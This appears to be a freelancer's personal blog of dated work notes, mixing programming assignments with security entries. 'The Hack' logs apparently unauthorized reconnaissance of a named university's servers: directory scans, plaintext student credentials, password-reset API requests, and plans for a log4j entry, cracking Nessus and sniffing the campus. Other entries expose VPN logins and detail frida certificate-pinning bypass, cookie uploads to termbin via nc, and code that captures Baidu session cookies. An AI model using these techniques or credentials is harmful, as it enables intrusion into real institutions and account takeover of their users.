2022-01-21

Algorithm

Algorithm Python

描述

明明想在学校中请一些同学一起做一项问卷调查，为了实验的客观性，他先用计算机生成了 N 个 1 到 1000 之间的随机整数（ N≤1000 ），对于其中重复的数字，只保留一个，把其余相同的数去掉，不同的数对应着不同的学生的学号。然后再把这些数从小到大排序，按照排好的顺序去找同学做调查。请你协助明明完成“去重”与“排序”的工作(同一个测试用例里可能会有多组数据(用于不同的调查)，希望大家能正确处理)。

注：测试用例保证输入参数的正确性，答题者无需验证。测试用例不止一组。

当没有新的输入时，说明输入结束。

数据范围： 1 \le n \le 1000 \1≤n≤1000 ，输入的数字大小满足 1 \le val \le 500 \1≤val≤500

输入描述：

注意：输入可能有多组数据(用于不同的调查)。每组数据都包括多行，第一行先输入随机整数的个数 N ，接下来的 N 行再输入相应个数的整数。具体格式请看下面的”示例”。

输出描述：

返回多行，处理后的结果

示例1

输入：3

300

400

15复制

输出：1

300

400复制

说明：示例1包含了两个小样例！！

输入解释：

第一个数字是3，也即这个小样例的N=3，说明用计算机生成了3个1到1000之间的随机整数，接下来每行一个随机数字，共3行，也即这3个随机数字为：

所以第一个小样例的输出为：

第二个小样例的第一个数字为11，也即…(类似上面的解释)…

所以第二个小样例的输出为：

300

400

2022-01-20

Dna Cancer Prediction

https://github.com/davidanastasiu/coen-342-wi22

PR1: Peptide Classification

Published Date:

Jan. 12, 2020, 5:00 p.m.

Deadline Date:

Jan. 25, 2020, 11:59 p.m.

Description:

This is an individual assignment.

Overview and Assignment Goals:

The objectives of this assignment are the following:



Create feed-forward neural networks and train them using your own codes and

frameworks.



Experiment with different feature extraction techniques.



Think about dealing with imbalanced data.

Detailed Description:

Develop predictive neural networks that can determine, given an antibacterial peptide,

whether it is also an antibiofilm peptide.

“Proteins are large biomolecules, or macromolecules, consisting of one or more long

chains of amino acid residues. Proteins perform a vast array of functions within organisms,

including catalysing metabolic reactions, DNA replication, responding to stimuli, providing

structure to cells, and organisms, and transporting molecules from one location to another.

Proteins differ from one another primarily in their sequence of amino acids, which is

dictated by the nucleotide sequence of their genes, and which usually results in protein

folding into a specific three-dimensional structure that determines its activity.

A linear chain of amino acid residues is called a polypeptide. A protein contains at least

one long polypeptide. Short polypeptides, containing less than 20-30 residues, are rarely

considered to be proteins and are commonly called peptides. […] The sequence of amino

acid residues in a protein is defined by the sequence of a gene, which is encoded in the

genetic code. In general, the genetic code specifies 20 standard amino acids; […] Proteins

can also work together to achieve a particular function, and they often associate to form

stable protein complexes.” [Wikipedia, Accessed 2020-02-07,

https://en.wikipedia.org/wiki/Protein]

Biofilms are tightly-connected multicellular communities of microorganisms encased in self-

secreted extra-cellular matrices. They are currently one of the major causes of disease for

two main reasons. First, roughly 75% of all human infections are caused by biofilms.

Second, due to the robust multicellular cellular matrix structure, they are resistant both to

the host defense mechanisms and to traditional antimicrobial compounds (antibiotics).

Thus, it is important to identify peptide sequences that are not only antimicrobial (can

destroy or render inert the invading microorganism), but also antibiofilm (can penetrate the

extra-cellular matrix so it can get to the microorganism in the first place).

You have been provided with a training set (train.dat) and a test set (test.dat) consisting of

peptide sequences, one per line in the file. Peptides are encoded as strings with characters

from an alphabet of 20 characters, each representing an amino-acid residue. The training

set also includes the label for each sequence as 1 (antibiofilm) or -1 (not antibiofilm) as the

first character in each line of the training file, separated from the sequence by a tab (\t)

character.

The input to your classifiers will not be the peptides themselves, but rather features

extracted from the peptides. Two simple approaches for feature extraction are the bag-of-

words and the k-mer models you should have learned about in Data Mining or Machine

Learning, where a word is one of the amino-acids in the peptide. You should not use any

additional external data in this assignment.

Note that the dataset is imbalanced. We will Matthews’s correlation coefficient (MCC) as

evaluation metric for this assignment, which, similar to the F-1 score, combines aspects of

the result’s sensitivity and specificity. Given the normal confusion matrix resulting from

comparing the predicted and true classes of the test samples, MCC is defined as,

Programs:

You are required to write two separate programs for the classification. The first may only

use basic Python structures (from numpy or scipy) and you should implement your own

functions for training the neural network. This is also the program you will use to make CLP

submissions. In addition, you should write a second program that uses a deep learning

framework of your choice to train the neural network. The structure of the network may be

the same or different from the one you created in the first program. You will present results

from this program (which should be at least as good as those from the first program) in

your report.

Considerations:

Try extracting different features from the peptide strings.
Consider oversampling the negative class to fix the apparent imbalance.
Try out different network configurations and activation functions.
Consider regularization as a way to keep weights balanced in the network.

Data Description:

The training dataset consists of 1566 records and the test dataset consists of 392 records.

We provide you with the training class labels and the test labels are held out. Your task is

to predict those labels for the peptides in the test set and create a test.txt file containing

those labels, which you will submit to CLP. Note that CLP only accepts files with extensions

.txt or .dat for your predicted labels, and .py or .ipynb or .zip or .tgz for codes.

Rules:



This is an individual assignment. Discussion of broad level strategies are allowed but

any copying of prediction files and source codes will result in an honor code violation.



You are allowed 5 submissions per day.



After the submission deadline, only your chosen or last submission is considered for

the leaderboard.

Deliverables:



Valid submissions to the Leader Board website: https://clp.engr.scu.edu (username is

your SCU username and your password is your SCU password).

Canvas Submission for the report:



Include a 2-page, single-spaced report describing details regarding the steps you

followed for feature extraction, designing your neural network, and training your model.

The report should be in PDF format and the file should be called report.pdf. The report

needs to be structured as a technical report (title, abstract, introduction, sections,

conclusion), be free from grammatical errors, and use standard page and font sizes (letter

size page, 10 or 11 pt font). Be sure to include the following in the report:

Name and SCU ID.
Rank & MCC-score for your submission (at the time of writing the report). If

you chose not to see the leaderboard, state so.

Your approach.

Your methodology of choosing the approach and associated parameters.

 Ensure you submitted the correct code on CLP that matches your output.

 Zip up your report and codes for both programs in an archive called .zip or

.tgz and submit the archive to Canvas.

Grading:

Grading for the Assignment will be split on your implementation (70%) and report (30%).

Extra credit (1% of final grade) will be awarded to the top-3 performing algorithms. Note

that extra credit throughout the semester will be tallied outside of Canvas and will be added

to the final grade at the end of the semester.

Files: available on Canvas.

2022-01-12

Ecosim

• You must demonstrate multiple examples of inheritance.

You may need to include classes that were not mentioned to demonstrate appropriate inheritance relationships.

• You must demonstrate multiple examples of aggregation/composition/association. You may need to create lists of animals or tiles in the EcoSim class.

• You must create methods not mentioned in the text above.

• You must include one more type of animal, and one more plant in your program.

• You must demonstrate polymorphism by calling overridden methods, or by checking the types of objects.

• You must demonstrate good encapsulation by making dangerous variables private or protected and providing getter or setter methods to them.

• You must include str and repr methods for each class. You may print(self) or print(animals) to help you with debugging.

• You must update your UML diagram written in part 1 and submit it with your code.

• Your code must be documented appropriately using docstrings.

• You must make at least 10 commits using git with appropriate comments.

You must use git version control to keep track of your progress during implementation. Only a local git repository is required in this assignment. You are not required to use an online repository, but if you choose to, please make sure your online repository is private. You should perform regular commits as you implement features and fix errors. Your commit comments should be short and reflect the changes that were made.

• You must write a unit test for the game.Vector2D class.

You will find Vector2D in the game.py file. You must create a new file called test_vector2d.py and write a test method for each of the following methods in Vector2D: add, subtract, scale, length, distance, normalize. You may either use the unittest or the pytest modules. Each test method should call those methods two times using different arguments: one safe set of arguments, and one dangerous set of arguments.

2022-01-10

Agile Freelancing

Apps like QQ, Wechat, Dingtalk can be launched on linux, windows.

闲鱼要anbox 在 Windows上面需要虚拟机或者直接http投屏就可以也可以监控的

deepin derivative container

2022-01-04

Shapeshifters

https://termbin.com/qqft

simply do not take offer with some serious math. if really want to challenge yourself, go ahead and try, but do not even make a move to place the bid. you know you are sick of deadlines.

this shit is over but we still have the code and the pdf. still recoverable. it is about mmp/pbrt_v3 and the displacement map on a damn sphere. calculate occulusion and more according to input.

2021-12-30

Kafka Data Query

2056500129@qq.com

大数据存储综合实验

Connection:

EasyConnect

https://newvpn.cumt.edu.cn

08192963:186880

VM:

http://192.168.46.253:8080/training/

08192963:888888

下载高速公路ETC入深圳数据，数据量:178396条

https://opendata.sz.gov.cn/data/dataSet/toDataDetails/29200_00403621

数据样例:

要求

(1)每秒产生50+条数据，可以采用网络压力测试工具产生多点并发的高速数据流

https://blog.csdn.net/moonpure/article/details/72674374

，例如JMeter

(2)利用Kafka对高速数据进行缓存

(3)利用HBase或者MyCat+Mysql对数据进行存储。

(4)如果采用MyCat+Mysql方式存储数据，需要设计业务逻辑对数据进行分片，并对全局数据进行查询和统计

(5)如果采用HBase方式存储数据，需要设计业务逻辑对rowkey进行设计，并对数据进行“key-value”查询。

(6)对两种方式查询或者统计的结果进行可视化展示，要求每分钟一次对结果进行刷新。

Report Template:

7.实验目标和实验环境

8.实验内容，

9.实验步骤和结果。

.10.结论与讨论。

Python Kafka

https://blog.csdn.net/weixin_35688430/article/details/111292744

Thrift Hbase

https://blog.csdn.net/dutsoft/article/details/60328341

Python Hbase

https://www.jianshu.com/p/58b79bf5e9d4

Terminal Visulization

https://stackoverflow.com/questions/37288421/how-to-plot-a-chart-in-the-terminal

https://pythonawesome.com/a-python-file-with-some-tools-for-visualizing-machine-learning-in-the-terminal/

2021-12-22

The Hack (Get Password And Tests)

dirbuster has found something over “http://oa.lixin.edu.cn//test/“

http://oa.lixin.edu.cn//admin (CODE:301|SIZE:237)
http://oa.lixin.edu.cn//css (CODE:301|SIZE:235)
http://oa.lixin.edu.cn//help (CODE:301|SIZE:236)
http://oa.lixin.edu.cn//images (CODE:301|SIZE:238)
http://oa.lixin.edu.cn//js (CODE:301|SIZE:234)
http://oa.lixin.edu.cn//setup (CODE:301|SIZE:237)
http://oa.lixin.edu.cn//template (CODE:301|SIZE:240)
http://oa.lixin.edu.cn//test (CODE:301|SIZE:236)
http://oa.lixin.edu.cn///admin (CODE:301|SIZE:237)
http://oa.lixin.edu.cn///help (CODE:301|SIZE:236)
http://oa.lixin.edu.cn///images (CODE:301|SIZE:238)
http://oa.lixin.edu.cn///script (CODE:301|SIZE:238)

suspicious:

http://oa.lixin.edu.cn/oanew/sys/taskcenterapp/*default/index.do

portal (even in the internet):

http://202.121.255.3:8080/portal

Scan this website with kali linux.

The Intranet Gateway For Campus: (maybe less hops?)

https://app.topsec.com.cn

mitmdump –mode socks5 –listen-port 8050 -w logs.log –flow-detail 3 –set stream_websocket=true

pdvpn.lixin.edu.cn

pdvpn2.lixin.edu.cn

vpn.lixin.edu.cn

vpn2.lixin.edu.cn

xxb.lixin.edu.cn/jszl/57078.htm

201960630:CHENweiyi0519

https://cas.paas.lixin.edu.cn/cas/login?service=https%3A%2F%2Flxjw.lixin.edu.cn%2Fcas%2Flogin

https://security-center.paas.lixin.edu.cn/find-pwd

20039370

missing puzzle for changing password:

trial user:

201960249

found russia hacker’s kali tool site: https://en.kali.tools/all/

apparently we have some issue with log4j and this could be our way in, the damn server.

sniffing the whole damn campus is only possible if we know how to get into the same subnet of all people.

have searched related websites with site:lixin.edu.cn, could get more if keep doing so, using dnsenum.

to get all site links with proper titles, we need to use playwright.

nessus scanner has that 16 ips limitation, we need to crack/patch it first.

to master kali linux, recommend to scrape kali_tools (https://tools.kali.org/) and tutorialspoint (https://www.tutorialspoint.com/kali_linux/index.htm) for kali, or just simply using manpage.

cisco router is untouched till now. need we to scan it?

(intermediate ip addresses)

curl ‘https://personal-security-center.paas.lixin.edu.cn/api/v1/personal/open/passwordStrategy/verify‘ \

-H ‘Connection: keep-alive’ \

-H ‘sec-ch-ua: “(Not(A:Brand”;v=”8”, “Chromium”;v=”98”, “Google Chrome”;v=”98”‘ \

-H ‘Accept: application/json, text/plain, /‘ \

-H ‘Content-Type: application/json;charset=UTF-8’ \

-H ‘sec-ch-ua-mobile: ?0’ \

-H ‘User-Agent: Mozilla/5.0 (X11; CrOS aarch64 14371.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4729.0 Safari/537.36’ \

-H ‘sec-ch-ua-platform: “Chrome OS”‘ \

-H ‘Origin: https://security-center.paas.lixin.edu.cn‘ \

-H ‘Sec-Fetch-Site: same-site’ \

-H ‘Sec-Fetch-Mode: cors’ \

-H ‘Sec-Fetch-Dest: empty’ \

-H ‘Referer: https://security-center.paas.lixin.edu.cn/‘ \

-H ‘Accept-Language: en-US,en;q=0.9’ \

–data-raw ‘{“password”:”abcdefABC”,”userId”:””}’ \

–compressed

curl ‘https://personal-security-center.paas.lixin.edu.cn/api/v1/personal/open/forgotPassword/changePassword‘ \

-H ‘Connection: keep-alive’ \

-H ‘sec-ch-ua: “(Not(A:Brand”;v=”8”, “Chromium”;v=”98”, “Google Chrome”;v=”98”‘ \

-H ‘Accept: application/json, text/plain, /‘ \

-H ‘Content-Type: application/json;charset=UTF-8’ \

-H ‘sec-ch-ua-mobile: ?0’ \

-H ‘User-Agent: Mozilla/5.0 (X11; CrOS aarch64 14371.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4729.0 Safari/537.36’ \

-H ‘sec-ch-ua-platform: “Chrome OS”‘ \

-H ‘Origin: https://security-center.paas.lixin.edu.cn‘ \

-H ‘Sec-Fetch-Site: same-site’ \

-H ‘Sec-Fetch-Mode: cors’ \

-H ‘Sec-Fetch-Dest: empty’ \

-H ‘Referer: https://security-center.paas.lixin.edu.cn/‘ \

-H ‘Accept-Language: en-US,en;q=0.9’ \

–data-raw ‘{“confirmPassword”:”abc123ABC”,”newPassword”:”abc123ABC”,”nonce”:”YzhhZmZjYzktNWQ3Ny00MGU1LTg0ODgtYTYzZTMzMDZkMjU0XzE2NDAyNjg5MzcyNTY”}’ \

–compressed

2021-12-19

Baidu Tieba Login (Qr Code)

Assigned a job.

Cloud Phone:

`http://www.ddyun.com/sem/pcddybdyunkong/?bd_vid=7609174489837191328

17756220843:fsfs5214`

QR Link:

https://wappass.baidu.com/wp/?qrlogin&t=1640006201&error=0&sign=v1_13fa5a31cf31fa864475cbf3fd2fc&cmd=login&lp=pc&tpl=tb&adapter=3&logPage=traceId%3Apc_loginv4_1640006201%2ClogPage%3Aloginv4&qrloginfrom=pc&local=%E5%8D%97%E4%BA%AC

This job has no public data to refer. we need to monitor the tieba app.

mitmproxy –mode socks5 –listen-port 8050 –save-stream-file logs

Run mitmproxy without options to generate the mitm certificate. Install the certificate (usually ~/.mitmproxy/mitmproxy-ca-cert.cer) in the Android phone. It may be needed to change the extension to .crt to install it.

frida is needed to disable certificate-pinning, or if this is somehow possible. (also via justtrustme, xposed)

https://hub.fastgit.org/httptoolkit/frida-android-unpinning

https://httptoolkit.tech/blog/frida-certificate-pinning/

setenforce 0

to disable stack errors

to connect to frida-server:

https://github.com/15872998154/frida_termux

./frida_server -l 0.0.0.0:27042

frida -H 127.0.0.1:27042 –codeshare sowdust/universal-android-ssl-pinning-bypass-2 -f com.baidu.tieba –no-pause

i will not know if the client will be satisfied or not. i only know this would be very hard to solve. if not good i will quit.

to read flow:

mitmproxy -n –showhost -r logs.log

print xxd line and ascii parse only:

cat logs2.log | xxd | awk ‘{print $1” “$NF}’

cat logs2.log | xxd | awk ‘{print $1” “$NF}’ | grep -C 5 http://wap

0012f020: ss-Control-Allow

0012f030: -Methods,18:GET,

0012f040: OPTIONS,]

0012f050: 59:27:Access-Con

0012f060: trol-Allow-Origi

0012f070: n,24:http://wapp

0012f080: ass.baidu.com,]2

0012f090: 8:10:Connection,

0012f0a0: 10:keep-alive,]2

0012f0b0: 7:16:Content-Enc

0012f0c0: oding,4:gzip,]44

cat logs2.log | xxd | awk ‘{print $1” “$NF}’ | grep -C 5 https://wap

001190e0: ite,]28:14:sec-f

001190f0: etch-mode,7:no-c

00119100: ors,]26:14:sec-f

00119110: etch-dest,5:styl

00119120: e,]40:7:referer,

00119130: 26:https://wappa

00119140: ss.baidu.com/,]3

00119150: 6:15:accept-enco

00119160: de

00119170: flate,]37:15:acc

00119180: ept-language,14:

–

0011aed0: ite,]28:14:sec-f

0011aee0: etch-mode,7:no-c

0011aef0: ors,]27:14:sec-f

0011af00: etch-dest,6:scri

0011af10: pt,]40:7:referer

0011af20: ,26:https://wapp

0011af30: ass.baidu.com/,]

0011af40: 36:15:accept-enc

0011af50: d

0011af60: eflate,]37:15:ac

0011af70: cept-language,14

–

0011ccd0: -site,]28:14:sec

0011cce0: -fetch-mode,7:no

0011ccf0: -cors,]26:14:sec

0011cd00: -fetch-dest,5:st

0011cd10: yle,]40:7:refere

0011cd20: r,26:https://wap

0011cd30: pass.baidu.com/,

0011cd40: ]36:15:accept-en

0011cd50: coding,13:gzip,

0011cd60: deflate,]37:15:a

0011cd70: ccept-language,1

–

00121f40: -site,]28:14:Sec

00121f50: -Fetch-Mode,7:no

00121f60: -cors,]26:14:Sec

00121f70: -Fetch-Dest,5:im

00121f80: age,]40:7:Refere

00121f90: r,26:https://wap

00121fa0: pass.baidu.com/,

00121fb0: ]36:15:Accept-En

00121fc0: coding,13:gzip,

00121fd0: deflate,]37:15:A

00121fe0: ccept-Language,1

–

0012f550: in,]28:14:Sec-Fe

0012f560: tch-Mode,7:no-co

0012f570: rs,]27:14:Sec-Fe

0012f580: tch-Dest,6:scrip

0012f590: t,]256:7:Referer

0012f5a0: ,241:https://wap

0012f5b0: pass.baidu.com/w

0012f5c0: p/?qrlogin&t=163

0012f5d0: 9980306&error=0&

0012f5e0: sign=v1_f3b74f3a

0012f5f0: 21e355010985e711

–

00139700: ,]28:14:Sec-Fetc

00139710: h-Mode,7:no-cors

00139720: ,]26:14:Sec-Fetc

00139730: h-Dest,5:image,]

00139740: 40:7:Referer,26:

00139750: https://wappass.

00139760: baidu.com/,]36:1

00139770: 5:Accept-Encodin

00139780: defla

00139790: te,]37:15:Accept

001397a0: -Language,14:en-

–

0013db70: 39997136312&tpl=

0013db80: tb&auto_statisti

0013db90: c=e2V2ZW50VHlwZT

0013dba0: p0b3VjaC1qcy1lcn

0013dbb0: Jvcn0=&extrajson

0013dbc0: =https://wappass

0013dbd0: .baidu.com/wp/?q

0013dbe0: rlogin&t=1639980

0013dbf0: 306&error=0&sign

0013dc00: =v1_f3b74f3a21e3

0013dc10: 55010985e7113869

https://blog.csdn.net/qq_27644127/article/details/112987332

with a plugin to collect statistics:

http://file.taotaoya.top/load/TT.rar

that guy wants me to discover barcode first.

i may paste cookies here:

https://termbin.com/lq5e

use ccrypt, xxd and nc to do transport. (do you have these?)

cat cookies.log.cpt | xxd | nc termbin.com 9999

xxd -r

ccrypt -c cookies.log.cpt

passwd:abcdefg

a typical QR login link on android:

https://wappass.baidu.com/wp/?qrlogin&t=1639929144&error=0&sign=v1_3b3e89197877163a12614a9a7f519&cmd=login&lp=pc&tpl=tb&adapter=3&clientfrom=native&qrloginfrom=native&local=%E9%93%9C%E9%99%B5

parsed with elinks copied with termux-clipboard-set:

Link: [1]canonical

Link: [2]alternate (handheld)

百度贴吧二维码登录–python爬虫

[3]lxguang_tao 2021-01-22 18:11:49 547 收藏

分类专栏： [4]python 文章标签： [5]python

文出处链接和本声明。

本文链接：[7]https://blog.csdn.net/qq_27644127/article/details/112987332

版权

[8][IMG] [9]python 专栏收录该内容

1 篇文章 0 订阅

订阅专栏

百度贴吧二维码登录–python爬虫

•

• [10]研究思路

•

• [11]探索过程

• [12]思路总结

• [13]代码实现

•

• [14]所需技术

• [15]代码

• [16]总结

研究思路

如果阅读此文章的小伙伴之前研究过贴吧相关的接口的话，就会知道，那些需要登

录才能实现的功能接口，你去爬虫的话要携带一个Cookie BDUSS，有了它就会通过

身份验证。这个BDUSS也可以通过浏览器访问贴吧页面，从而获得，但在同一个浏

览器中如果更换帐号登录，那么你从这个浏览器中拿到的之前那个BDUSS就会失效

（不可能这个浏览器永远挂着这个帐号，并且保证不会去修改密码）。为了获得一

个永不失效的BDUSS，我们可以通过登录方法来获取BDUSS，但我们不可能会使用这

个BDUSS去做退出和切换帐号操作，所以它一般拿到后就不会失效（除非改了密码

）。

探索过程

[17]二维码

1. 不管是贴吧首页，还是其他地方的贴吧登录页面，都会有这个二维码登录的地方

。我们第一步是看怎么去拿到这个二维码图片地址。

2. 思路：爬取这个页面，从页面元素中找到这个二维码连接，结果就是，二维码连

接不是响应页面加载出来的，那就说明是通过后续的接口返回的然后添加到页面

中的。所以我们接下来要去寻找加载二维码的接口。

3. 寻找接口：打开F12，切换到Network，刷新页面，你会看到一条类型为png的记

录，点开看到响应正是这张二维码图片

[18]二维码请求地址

4. 查看请求相关内容：地址，参数，类型。Get请求，有三个参数分别是sign,lp

和qrloginfrom，看到后两个参数的值都是pc。盲猜应该可以是固定值pc(电脑

端)。所以现在就只剩下一个参数需要搞清楚，那就是sign。

[19]在这里插入图片描述

5. 遵循代码从上往下运行的规则，这个sign肯定是在二维码加载前就获取到了，所

以我们要在它的上面的记录里寻找一下。经过一番寻找，最终

在“https://passport.baidu.com/v2/api/getqrcode?lp=pc&qrloginfrom=pc&gid=1527EF2-1333-475F-BA75-319AF40E53E7&callback=tangram_guid_1611304323880&apiver=v3&tt=1611304324028&tpl=tb&_=1611304324032”

的响应中找到了sign，当然响应中有整个图片链接。

6. 不过坑爹啊，这个请求中也有好多个参数。不过看到这个参数，发现有好几个都

是无意义的。tt和_我们看长度可以推断出应该是时间戳，经过验证，确实是当

时时间的时间戳。所以我们主要需要攻破的就是gid与callback。还是老样子，

先找gid，去上面找但是就是找不到。看gid像是那种唯一值，python中叫uuid。

既然找不到，那就可能是前端生成的，所以我们可以去找这个请求发起的js。看

看它这个参数到底是怎么来的。在F12 Source中按 Ctrl+Shift+F全局搜

索“v2/api/getqrcode”。

[20]参数

7. 通过搜索我们发现确实是前端生成的随机唯一值。那我们就可以放心大胆的自己

去生成了，当然要生成出来的格式一样。现在就只剩下callback了。正当我苦思

冥想找不到的时候，真的想破口而出：怎么这么难找啊，tmd烦死了。我后面发

现，嗯它后面那一串数字跟下面的时间戳基本一样。好家伙，这都能算一个参数

，我是真的服。这样最后一个参数我们也能靠自己生成。这个接口拿下。

[21]在这里插入图片描述

8. 到现在我们已经实现了，（1）请求返回二维码地址的接口。（2）返回二维码图

片的地址。相当于我们做好了获取BDUSS的第一步。（长舒一口气）

9. 现在我们要进行第二部，扫码后进行怎样的处理。

扫码登录原理：网页生成二维码后，后面轮询进行一个请求，来返回当前二维码的

状态。

当二维码被扫后，访问二维码内容，服务端会进行处理（是否登录，做登录操作）

当然如果一直没有扫码请求，那么就一直循环请求，直到二维码过期为止。

10. 查看Network后续内容，发现确实有一个接口在不停的请求。查看参数发现，都

是我们玩剩下的，除了channel_id是图片链接中的一个参数换了名字外，其他我

们都有办法获得。

[22]监听

11. 我们现在要做的就是模拟浏览器进行轮询请求，当请求返回正确登录的响应的时

候，发现它返回了

**tangram_guid_1611307815857({“errno”:0,”channel_id”:”v1_cf81fb2823935db841b5395152de2”,”channel_v”:”{"status":0,"v":"3f1a8f93cca689cead144ad405b03945","u":""}”})

** 这跟登录有毛关系啊，发现后面它又调用了一个借口，看这名字就知道了，

就是它了。

12. /v3/login/main/qrbdusslogin

[23]有这几个参数

13. 发现了联系，bduss是刚才轮询接口返回的。其他参数看着无意义的都直接用它

的。先调用再说。如果调用成功，返回的是一个JSON数据，但是并没有BDUSS

。tmd，都忘了我们去拿BDUSS的是去哪拿的吗。恍然大悟，Cookie啊。果然，从

响应中，看到写入浏览器了Cookie。

[24]cookie

14. 至此是通过二维码登录拿到BDUSS的全部过程。虽然看上去简单，但是实际去操

作的时候，还是有一些坑的。回过头来看看，那些坑也是必经之路吧，坑走过一

遍后，就更加印象深刻。

思路总结

总结一下：基本上是从人的思考方式下手。从二维码从哪来开始，其实也就是一直

不断的在调接口，找参数，处理响应。不管哪一步，基本都离不开这三样。当然这次

的最重要的是理解二维码登录的实际原理，只有理解了它的原理才能去做好对策。

代码实现

所需技术

python request模块，json模块，re模块，time, uuid

代码

“””

QrCodeLogin.py 二维码登录

“””

1、访问首页，获取二维码

2、请求响应接口

3、。。。。

“””

import requests, re, time, json, uuid

class qrcodeLogin:

def init(self):

self.get_qrcode_url = “https://passport.baidu.com/v2/api/getqrcode“

self.unicast_url = “https://passport.baidu.com/channel/unicast“

self.login_url = “https://passport.baidu.com/v3/login/main/qrbdusslogin“

self.qrcode = “”

self.gid = str(uuid.uuid4()).upper()

self.callback = “”

self.sign = “”

self.bduss = “”

self.headers = {

“User-Agent”: “Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0”

}

def get_qrcode(self):

self.callback = “tangram_guid_{}”.format(str(int(round(time.time() * 1000))))

parms = {

“lp”:”pc”,

“qrloginfrom”: “pc”,

“gid”: self.gid,

“callback”: self.callback,

“apiver”: “v3”,

“tt”: int(round(time.time() * 1000)),

“tpl”: “tb”,

“-“: int(round(time.time() * 1000))

}

html = requests.get(url=self.get_qrcode_url, params=parms, headers=self.headers, verify=False).content.decode(‘utf-8’, errors=’ignore’)

print(html)

p = re.compile(‘“imgurl”:”(.*?)”‘)

p2 = re.compile(‘“sign”:”(.*?)”‘)

qrcode = p.findall(html)

self.sign = p2.findall(html)

if len(qrcode) == 0:

return None

else:

print(“https://“+qrcode[0].replace(“\“, “”))

self.qrcode = “https://“+qrcode[0].replace(“\“, “”)

def unicast(self):

start = time.time()

errno = 1

status = 1

flag = True

pattern = re.compile(‘({.*})’)

while(True):

end = time.time()

if (end - start) > 300:

break

parms = {

“channel_id”: self.sign,

“qrloginfrom”: “pc”,

“gid”: self.gid,

“callback”: self.callback,

“apiver”: “v3”,

“tt”: int(round(time.time() * 1000)),

“tpl”: “tb”,

“-“: int(round(time.time() * 1000))

}

jsons = requests.get(url=self.unicast_url, params=parms, headers=self.headers, verify=False)

html = jsons.content.decode(‘utf-8’, errors=”ignore”).replace(‘\‘, ‘’).replace(‘“{‘, “{“).replace(‘}”‘, “}”)

try:

if errno or status:

message = json.loads(re.search(pattern, html).group())

errno = message[‘errno’]

if errno == 0 and flag:

flag = False

elif errno == 0:

status = message[‘channel_v’][‘status’]

if not errno and not status:

message = json.loads(re.search(pattern, html).group())

self.bduss = message[‘channel_v’][‘v’]

BDUSS = self.login()

print(BDUSS)

return BDUSS

except Exception as e:

print(e)

break

return None

def login(self):

parm = {

‘v’: int(round(time.time() * 1000)),

‘u’: ‘https://tieba.baidu.com/index.html‘,

‘bduss’: self.bduss,

‘loginVersion’: ‘v4’,

‘qrcode’: ‘1’,

‘tpl’: ‘tb’,

‘apiver’: ‘v3’,

‘tt’: int(round(time.time() * 1000)),

‘traceid’: None,

‘time’: round(time.time()),

‘alg’: ‘v3’,

‘sig’: ‘EsdgfadNMU5rQVl4NWhSDFSDCVSDGFSdfsdfsf8xcVEveFNqanFGK2ZRdDBiejdXQXVhK1ZlRDZKMzsdfDSES==’,

‘elapsed’: 3,

‘shaOne’: ‘00edf2343d07csdf23478b6ccd34f9a92290d3tg’,

‘callback’: ‘bd__cbs__o5224l’,

}

login_r = requests.get(self.login_url, headers=self.headers, params=parm, verify=False)

str_html = login_r.content.decode(‘utf-8’)

print(str_html)

for i in login_r.cookies:

if i.name == “BDUSS”:

print(‘登陆成功’)

pname = re.compile(‘“displayName”: “(.*?)”‘)

name_list = pname.findall(str_html)

print(name_list)

if len(name_list) > 0:

name = name_list[0]

return (i.value, name)

return (i.value, ‘’)

return None

def getImg(self):

img = requests.get(url=self.qrcode, headers=self.headers, verify=False)

print(img.content)

with open(“tieba.gif”, ‘wb’) as w:

w.write(img.content)

return img.content

if name == ‘main‘:

s = qrcodeLogin()

s.get_qrcode()

s.getImg()

s.unicast()

总结

这一步是打开贴吧自动化大门的关键，有了它我们就能轻松做很多事情了。

贴上自己做的一些统计工具的截图，如果有小伙伴感兴趣，或者需要帮做小功能的，

可以评论私信哦。

附上下载地址：[25]地址

[26]在这里插入图片描述[27]在这里插入图片描述

[28][IMG][29]lxguang_tao

[30]关注关注

• 2

•

踩

• [31][IMG] [32]1

• [33][IMG] [34][IMG] [35][IMG] [36]0

• [37]一键三连

一键三连

•

• [38][IMG]

扫一扫，分享海报

专栏目录

[39]tieba_sign::mobile_phone: 百度贴吧多线程扫码登陆自动签到自动打码-源

码

05-07

[40]Tieba_Sign 百度贴吧多线程扫码登陆 / 自动签到 / 自动打码经测试：在三个

帐号，一共207个贴吧的情况下，全部签到完成速度为5s左右。(Cookies登录情况下)

Use：Python3.6以上效果使用教程 1.安装依赖 pip install -r

requirements.txt # Centos yum install zbar -y # Ubuntu sudo apt-get

install libzbar-dev -y 2.增加用户配置 (tieba_sign.py) user_lists = [‘用户

名’] # 用户名,例如[‘用户1’, ‘用户2’, ‘用户3’] 一共3个用户 # 请按照从前往后

的顺序来依次进行登陆运行 python tieba_sign.py # 开始登录并签到请注意，在

最新版本中，需要扫码登陆，程序运行的时候，会问你是否有百度贴吧

[41]python爬虫解决百度贴吧登陆验证码问题

[42]weixin_34236869的博客

06-29 222

[43]作为贴吧重度用户，写了个贴吧爬虫脚本抄了一些别人的代码。记得有个验证

码解决的。可是忘了链接了，今天最终自己攻克了。首先要让登陆须要验证码，不

停地登陆就好了。。。度娘非常快会加上验证码大法的。。。须要验证码的情况下，

直接登陆返回的错误信息是error=257 打开贴吧首页选择登陆，弹出验证码，找到验

证码的链接是右键在新标签页中打开注意到链接是 …

[44][IMG]

[45]

请先登录后发表评论~

[46]表情包插入表情

[47]表情包代码片

• HTML/XML

• objective-c

• Ruby

• PHP

• C

• C++

• JavaScript

• Python

• Java

• CSS

• SQL

• 其它

[48][ 评论 ] [49][ 评论 ]

[50]Python爬虫系列之百度贴吧爬取

[51]Packager

11-28 176

[52]今天给的一个爬虫小事例，贴吧段子爬取这样一个小功能，数据呢仅仅娱乐，没

有恶意想法若有侵权，请私信删除此次用到的一个解析库Beautiful Soup，更轻量

简单地对数据进行解析，已获得目标数据贴吧做的还是比较好，有一定的反爬机制

，所以我们也应该有一定的应对措施，具体对应我们requests获取到的数据对应页面

源代码，通过观察发现数据的是否异步与注释等等反爬问题以下是代码部分 #

-*-…

[53]Python 网络爬虫实战：爬取百度贴吧高清原图

freelancer

2022-01-21

Algorithm

Algorithm Python

2022-01-20

Dna Cancer Prediction

2022-01-12

Ecosim

2022-01-10

Agile Freelancing

2022-01-04

